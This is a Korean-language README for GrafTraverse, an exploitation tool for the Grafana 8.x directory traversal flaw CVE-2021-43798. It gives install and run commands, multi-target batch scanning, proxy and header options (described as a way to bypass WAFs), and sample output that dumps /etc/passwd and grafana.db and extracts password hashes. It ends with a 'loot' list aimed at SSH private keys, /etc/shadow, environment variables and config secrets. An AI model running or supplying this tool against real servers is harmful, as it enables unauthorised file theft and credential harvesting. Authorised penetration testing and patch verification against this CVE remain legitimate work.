
CVE-2021-43798 MiNi Exploitation Framework
Grafana 디렉터리 탐색 취약점(CVE-2021-43798)에 대한 공인된 보안 테스트용 명령줄 자동화 도구입니다.
CVE-2021-43798은 Grafana 8.x에서 /public/plugins/ 엔드포인트를 통해 공격자가 기본 파일 시스템의 임의 파일을 읽을 수 있게 하는 인증되지 않은 디렉터리 탐색 취약점입니다. 근본 원인은 플러그인 에셋 요청에서 경로 검증이 부적절하여 ../ 시퀀스가 의도된 디렉터리를 벗어날 수 있게 하는 데 있습니다.
GrafTraverse는 기존 개념 증명(PoC)을 완전히 다시 작성한 것입니다. 요청 처리의 치명적인 버그를 수정하고, 다중 스레드 배치 스캔, 자동 플러그인 검색, 자격 증명 추출, 구조화된 보고 기능을 추가하여 레드 팀과 침투 테스터에게 생산 수준의 도구를 제공합니다.
# 저장소 클론
git clone https://github.com/asbawy/GrafTraverse.git
cd GrafTraverse
# requests 사용 가능 여부 확인 (Kali에 함께 제공됨)
pip3 install requests
# 실행 가능하게 설정
chmod +x GrafTraverse.py
GrafTraverse는 서브커맨드 기반 CLI를 사용합니다. 모든 명령은 --help를 지원합니다.
한 호스트에 대해 대화형 메뉴 실행:
python3 GrafTraverse.py single -u http://IP:PORT
============================================================
대화형 모드
============================================================
1. /etc/passwd
2. grafana.ini
3. grafana.db
4. 사용자 정의 경로
5. 전체 자동 전리품 수집
6. 플러그인 스캔
7. 종료
============================================================
악용 없이 어떤 플러그인 엔드포인트가 취약한지 빠르게 식별:
python3 GrafTraverse.py scan -u http://target:PORT
파일에서 대상 로드 후 동시 처리:
python3 GrafTraverse.py batch -l targets.txt --workers 10 --csv results.csv
targets.txt 형식:
http://192.168.1.10:3000
http://192.168.1.11:3000
https://grafana.target.com
# #으로 시작하는 줄은 무시됨
사용자 정의 파일 목록을 제공하여 심층 탐색:
python3 GrafTraverse.py single -u http://target:3000 --wordlist sensitive_files.txt --output-dir ./loot --json log.json
Burp Suite를 통해 라우팅하고 사용자 정의 헤더 추가:
python3 GrafTraverse.py single -u http://target:3000 --proxy http://127.0.0.1:8080 -H "X-Forwarded-For: 127.0.0.1" -H "Authorization: Bearer eyJ0..."
singlebatch| 플래그 | 설명 |
|---|---|
-l, --list | 대상 URL이 포함된 파일 (필수) |
--workers | 동시 스레드 수 (기본값: 5) |
(모든 single 플래그 지원됨) |
scan| 플래그 | 설명 |
|---|---|
-u, --url | 대상 URL (필수) |
| (모든 네트워크 플래그 지원됨) |
[+] Output: 20260526_GrafTraverse
[*] Testing: /etc/passwd (via alertlist)
[+] SUCCESS: /etc/passwd (1874 bytes)
------------------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
------------------------------------------------------------
[+] Saved: 20260526_GrafTraverse/http___10.129.234.47_3000_passwd
[*] Testing: /var/lib/grafana/grafana.db (via alertlist)
[+] SUCCESS: /var/lib/grafana/grafana.db (98304 bytes)
[+] Saved: 20260526_GrafTraverse/http___10.129.234.47_3000_grafana.db
[*] Extracted 3 password hashes:
admin:PBKDF2$sha256$10000$...base64...
editor:PBKDF2$sha256$10000$...base64...
viewer:PBKDF2$sha256$10000$...base64...
내장 전리품 수집 시퀀스는 다음 파일을 순서대로 검색합니다:
| 기능 | 설명 |
|---|
| 다중 플러그인 무차별 대입 | 40개 이상의 내장 플러그인을 자동으로 검사하여 취약한 경로 찾기 |
| 대화형 모드 | 메뉴 기반 단일 대상 악용, 실시간 파일 미리보기 제공 |
| 배치 모드 | 설정 가능한 스레드 작업자로 동시 다중 대상 스캔 |
| 워드리스트 모드 | 사용자 정의 워드리스트를 사용한 심층 파일 열거 |
| 자동 해시 추출 | 다운로드한 grafana.db에서 PBKDF2 비밀번호 해시 자동 추출 |
| 구조화된 로깅 | JSON 및 CSV 형식으로 결과 내보내기, 원활한 보고 가능 |
| 프록시 지원 | Burp, ZAP 또는 모든 HTTP 프록시를 통해 트래픽 라우팅 (--proxy) |
| 사용자 정의 헤더 | WAF 우회 또는 인증 토큰을 위한 임의 헤더 삽입 (-H) |
| 탐색 사용자 정의 | 비표준 환경을 위한 기본 탐색 깊이 재정의 (--depth) |
| 스마트 필터링 | 플러그인 JS/CSS/HTML 응답을 거부하여 오탐(false positive) 제거 |
| 제로 종속성 | requests만 필요 (Kali/Parrot에 사전 설치됨) |
| 플래그 | 설명 |
|---|
-u, --url | 대상 URL (필수) |
--no-download | 보기 전용 모드, 파일 저장 안 함 |
-t, --timeout | 요청 시간 제한(초) (기본값: 10) |
--proxy | HTTP/HTTPS 프록시 URL |
-H, --header | 사용자 정의 헤더 (반복 가능) |
--depth | 탐색 문자열 (기본값: ../../../../../../../../) |
--output-dir | 검색된 파일 저장 디렉터리 |
--json | 결과를 JSON 로그 파일에 추가 |
--csv | 결과를 CSV 로그 파일에 추가 |
--wordlist | 열거할 경로가 포함된 파일 |
--plugin | 특정 플러그인 이름 강제 지정 |
| 파일 | 유형 | 민감도 |
|---|
/etc/passwd | 텍스트 | 사용자 열거 |
/etc/shadow | 텍스트 | 비밀번호 해시 (읽기 어려운 경우 많음) |
/etc/hosts | 텍스트 | 네트워크 토폴로지 |
/etc/hostname | 텍스트 | 호스트 식별 |
/etc/grafana/grafana.ini | 텍스트 | Grafana 비밀 및 DB 자격 증명 |
/var/lib/grafana/grafana.db | 바이너리 | 사용자 해시 및 API 키가 포함된 SQLite DB |
/var/log/grafana/grafana.log | 텍스트 | 운영 정보 |
/root/.ssh/id_rsa | 텍스트 | SSH 개인 키 |
/root/.ssh/authorized_keys | 텍스트 | 키 기반 접근 매핑 |
/proc/self/environ | 텍스트 | 프로세스 환경 변수 |
/proc/self/cmdline | 텍스트 | 프로세스 인수 |
/proc/version | 텍스트 | 커널 버전 |
/proc/mounts | 텍스트 | 파일 시스템 구조 |
/etc/os-release | 텍스트 | OS 식별 |
/etc/issue | 텍스트 | OS 식별 |
/etc/crontab | 텍스트 | 예약된 작업 |
/etc/resolv.conf | 텍스트 | DNS 설정 |